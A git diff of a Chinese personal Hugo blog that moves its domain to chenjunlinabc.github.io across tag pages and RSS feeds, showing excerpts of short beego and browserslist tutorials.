href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>beego</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -22,20 +22,14 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString("name")
-c.Data["Website"] = name
-访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&lt;div class="author">
-Official website:
-&lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> /
-Contact me:
-&lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div class="author"> Official website: &lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> / Contact me: &lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://chenjunlinabc.github.io/posts/134/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/beego/index.xml b/tags/beego/index.xml
index aa56a7ab..fdcd1c19 100644
--- a/tags/beego/index.xml
+++ b/tags/beego/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>beego on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/beego/</link>
+    <link>https://chenjunlinabc.github.io/tags/beego/</link>
     <description>Recent content in beego on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 12 Feb 2022 16:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/beego/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 12 Feb 2022 16:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/beego/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>beego应用框架的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/134/</link>
+      <link>https://chenjunlinabc.github.io/posts/134/</link>
       <pubDate>Sat, 12 Feb 2022 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/134/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/134/</guid>
       <description>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
@@ -42,14 +42,14 @@ bee generate
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&amp;quot;name&amp;quot;)
c.Data[&amp;quot;Website&amp;quot;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&amp;quot;name&amp;quot;) c.Data[&amp;quot;Website&amp;quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &amp;ldquo;index.tpl&amp;rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt;
Official website:
&amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; /
Contact me:
&amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
+&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt; Official website: &amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; / Contact me: &amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
     </item>
     
   </channel>
diff --git a/tags/beego/page/1/index.html b/tags/beego/page/1/index.html
index bea75c9e..2b28ae0c 100644
--- a/tags/beego/page/1/index.html
+++ b/tags/beego/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/beego/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/beego/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/beego/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/beego/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/beego/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/beego/"></head></html>
\ No newline at end of file
diff --git a/tags/browserslist/index.html b/tags/browserslist/index.html
index 13337704..7fe6271f 100644
--- a/tags/browserslist/index.html
+++ b/tags/browserslist/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>browserslist | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/browserslist/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/browserslist/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="browserslist"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/browserslist/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="browserslist"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>browserslist</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>browserslist | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/browserslist/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/browserslist/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="browserslist"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/browserslist/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="browserslist"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>browserslist</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -12,18 +12,9 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-"browserslist": [
-'> 0.2%',
-'last 1 Chrome versions'
-'not dead'
-]
-或者写成
-"browserslist": [
-'> 0.2% and last 1 Chrome versions and not dead',
-]
-.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
-browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+"browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+"browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://chenjunlinabc.github.io/posts/140/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/browserslist/index.xml b/tags/browserslist/index.xml
index d2713373..d5fed0c5 100644
--- a/tags/browserslist/index.xml
+++ b/tags/browserslist/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>browserslist on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/browserslist/</link>
+    <link>https://chenjunlinabc.github.io/tags/browserslist/</link>
     <description>Recent content in browserslist on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 12 Mar 2022 10:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/browserslist/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 12 Mar 2022 10:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/browserslist/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>browserslist的简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/140/</link>
+      <link>https://chenjunlinabc.github.io/posts/140/</link>
       <pubDate>Sat, 12 Mar 2022 10:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/140/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/140/</guid>
       <description>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
@@ -32,9 +32,9 @@ not dead的意思是不输出官方不再维护的浏览器（例如ie10），de
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2%&#39;,
&#39;last 1 Chrome versions&#39;
&#39;not dead&#39;
]
或者写成
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;,
]
.browserslistrc
-&amp;gt; 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package.</description>
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2%&#39;, &#39;last 1 Chrome versions&#39; &#39;not dead&#39; ] 或者写成
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;, ] .browserslistrc
+&amp;gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.</description>
     </item>
     
   </channel>
diff --git a/tags/browserslist/page/1/index.html b/tags/browserslist/page/1/index.html
index d84e7338..733c855f 100644
--- a/tags/browserslist/page/1/index.html
+++ b/tags/browserslist/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/browserslist/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/browserslist/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/browserslist/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/browserslist/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/browserslist/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/browserslist/"></head></html>
\ No newline at end of file
diff --git a/tags/csrf/index.html b/tags/csrf/index.html
index 761a2dc4..a4fee958 100644
--- a/tags/csrf/index.html
+++ b/tags/csrf/index.html
@@ -1,21 +1,14 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>CSRF | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/csrf/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/csrf/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" 